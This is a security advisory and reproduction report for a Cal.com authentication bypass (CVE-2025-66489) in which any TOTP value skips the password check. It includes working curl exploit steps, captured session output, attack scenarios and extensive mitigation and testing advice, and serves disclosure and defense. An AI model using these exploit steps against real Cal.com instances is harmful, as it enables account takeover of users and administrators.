- Product / Component: Cal.com - NextAuth Credentials Provider (
packages/features/auth/lib/next-auth-options.ts) - Impact: Unauthenticated attacker can log in as any user without knowing their password. Simply providing the victim's email and ANY value in the
totpCodefield bypasses all password verification, enabling full account takeover including admin accounts. - Severity: Critical (CVSS: 9.9)
- Affected Versions: Cal.com <= 5.9.7
- Fixed: Cal.com 5.9.8
- Reproduction Status: CONFIRMED (Cal.com 5.9.7, Node.js 20.17.0, Ubuntu 22.04)
- Identifiers:
- CVE-2025-66489
- GHSA-9r3w-4j8q-pw98
Cal.com's NextAuth credentials provider in the authorize() function contains a critical logic flaw in its authentication flow. The vulnerable code structure:
// Vulnerable code in packages/features/auth/lib/next-auth-options.ts
if (user.password?.hash && !credentials.totpCode) {
// Password verification happens HERE - inside this conditional
const isCorrectPassword = await verifyPassword(credentials.password, user.password.hash);
if (!isCorrectPassword) {
throw new Error("incorrect_password");
}
}The Bug: When totpCode is present in the request (any non-empty value), the condition !credentials.totpCode evaluates to false, causing the entire password verification block to be skipped.
Key vulnerability characteristics:
- Works against ALL users, including those without 2FA enabled
- Any arbitrary value in
totpCodetriggers the bypass (e.g., "123456", "x", "anything") - For 2FA-enabled accounts, this reduces security from two factors to zero
- For non-2FA accounts, this completely eliminates the password requirement
- Enables silent, full account takeover with just an email address
The fix in Cal.com 5.9.8 moves password verification outside the conditional, ensuring passwords are ALWAYS validated regardless of TOTP presence.
┌─────────────────────────────────────────────────────────────────────────────┐
│ ATTACK FLOW │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Attacker knows victim's email: victim@example.com │
│ │
│ 2. Attacker sends POST to /api/auth/callback/credentials │
│ { │
│ "email": "victim@example.com", │
│ "password": "anything-doesnt-matter", │
│ "totpCode": "123456" ← ANY value triggers bypass │
│ } │
│ │
│ 3. Server-side logic: │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ if (user.password?.hash && !credentials.totpCode) │ │
│ │ └── FALSE (totpCode exists) ──► SKIP PASSWORD CHECK │ │
│ │ │ │
│ │ // Password verification NEVER happens! │ │
│ │ │ │
│ │ // Session created without any authentication │ │
│ │ return { id: user.id, email: user.email, ... } │ │
│ └──────────────────────────────────────────────────────────────────┘ │
│ │
│ 4. Server returns HTTP 302 with valid session cookie: │
│ Set-Cookie: next-auth.session-token=eyJhbGci... │
│ │
│ 5. Attacker is now logged in as victim │
│ Full access to: calendars, bookings, settings, integrations │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
- Node.js 20.x
- Yarn 3.4.1+
- PostgreSQL 14+
- Git
- curl
# Run the reproduction script
./repro/reproduction_steps.shThe script:
- Installs Node.js 20, Yarn 3.4.1, PostgreSQL 14
- Clones Cal.com v5.9.7 from GitHub
- Configures environment and database
- Applies Prisma migrations and seeds test data
- Starts Next.js dev server
- Captures CSRF token from login page
- Sends exploit request with wrong password + fake TOTP code
- Verifies successful authentication bypass
- Saves session evidence to logs/
- Set up Cal.com 5.9.7:
git clone --branch v5.9.7 --depth 1 https://github.com/calcom/cal.com.git
cd cal.com
cp .env.example .env
# Configure DATABASE_URL, NEXTAUTH_SECRET, etc.
yarn install
yarn prisma migrate deploy
yarn prisma db seed
yarn dev- Get CSRF token:
curl -c cookies.txt http://localhost:3001/api/auth/csrf | jq -r '.csrfToken'- Execute authentication bypass:
curl -X POST http://localhost:3001/api/auth/callback/credentials \
-H "Content-Type: application/x-www-form-urlencoded" \
-b cookies.txt \
-c cookies.txt \
-d "csrfToken=<TOKEN>&email=free@example.com&password=WRONG&totpCode=123456"- Verify stolen session:
curl http://localhost:3001/api/auth/session -b cookies.txt
# Returns authenticated session for free@example.comHTTP/1.1 302 Found
Set-Cookie: next-auth.session-token=eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..K-ObNgBe3PW_GzT3.HhQh...
Location: http://localhost:3004/
Analysis: Server issued a valid session token despite the password being intentionally wrong ("definitely-wrong"). The HTTP 302 redirect confirms successful authentication.
{
"user": {
"name": "Free Example",
"email": "free@example.com",
"id": 6,
"username": "free",
"role": "USER"
},
"expires": "2026-01-08T16:54:23.309Z"
}Analysis: The attacker obtained a fully authenticated session for user ID 6 (free@example.com) without ever providing the correct password.
[2025-12-09T16:54:22Z] Capturing CSRF token
[2025-12-09T16:54:23Z] Triggering authentication bypass with fake TOTP code
[2025-12-09T16:54:23Z] Fetching authenticated session using stolen cookie
[2025-12-09T16:54:23Z] Authentication bypass succeeded for free@example.com with invalid password and arbitrary TOTP code
- Node.js: 20.17.0
- Yarn: 3.4.1
- PostgreSQL: 14
- OS: Ubuntu 22.04 (Lima VM)
- Cal.com Version: 5.9.7 (vulnerable)
- Reproduction script:
repro/reproduction_steps.sh - Login response:
logs/exploit-login-response.txt - Stolen session:
logs/exploit-session.json - Dev server logs:
logs/dev-server.log - Full reproduction log:
logs/reproduction.log
An attacker targets a Cal.com admin user whose email is publicly visible (e.g., from company website, LinkedIn, or support interactions). With just the email address, the attacker can:
- Access all organization calendars and bookings
- Modify user permissions and settings
- Access connected integrations (Google Calendar, Zoom, etc.)
- Exfiltrate sensitive meeting data
An attacker with a list of known Cal.com user emails (scraped from public sources) can:
- Automate login attempts for each email
- Compromise all accounts in the list without any brute-forcing
- No rate limiting or account lockout would help (password is never checked)
- Attacker compromises Cal.com account of target executive
- Views upcoming meeting schedules and participants
- Modifies calendar invites to include malicious links
- Targets meeting participants with contextual phishing
Users who enabled 2FA believing they have enhanced security are actually MORE vulnerable:
- The presence of
totpCodein their login flow triggers the bypass - Their "extra security measure" becomes the attack vector
-
Upgrade to Cal.com 5.9.8 or later
git fetch origin git checkout v5.9.8 yarn install yarn prisma migrate deploy
-
If upgrade is not immediately possible:
- Implement network-level access controls to the authentication endpoint
- Monitor for unusual login patterns (successful logins without valid TOTP)
- Consider temporarily disabling the credentials provider
-
Code Review:
- Audit authentication logic for similar conditional bypasses
- Ensure password verification is NEVER conditional on other factors
- Implement the principle: "Validate ALL factors, then check ALL are valid"
-
Testing:
- Add regression tests for authentication edge cases:
{correct password, no TOTP}→ should succeed (non-2FA user){wrong password, no TOTP}→ should fail{correct password, correct TOTP}→ should succeed (2FA user){wrong password, any TOTP}→ MUST fail (this was the bug){correct password, wrong TOTP}→ should fail (2FA user)
- Add regression tests for authentication edge cases:
-
Monitoring:
- Alert on authentication successes where TOTP was provided but user doesn't have 2FA enabled
- Log and review all credential-based authentication attempts
- Implement anomaly detection for login patterns
-
Architecture:
- Consider separating password verification from TOTP verification into distinct, mandatory steps
- Use a state machine for authentication flow to prevent step-skipping
- GHSA-9r3w-4j8q-pw98 - GitHub Security Advisory
- CVE-2025-66489 - CVE Record
- Cal.com Security - Official Security Page
- NextAuth.js Documentation - Authentication Framework
- CWE-303: Incorrect Implementation of Authentication Algorithm
- CWE-287: Improper Authentication
- CWE-305: Authentication Bypass by Primary Weakness
- CWE-306: Missing Authentication for Critical Function
Report Generated: 2025-12-09 Reproduction Status: CONFIRMED Idempotency Verified: Yes (script executed twice with consistent results)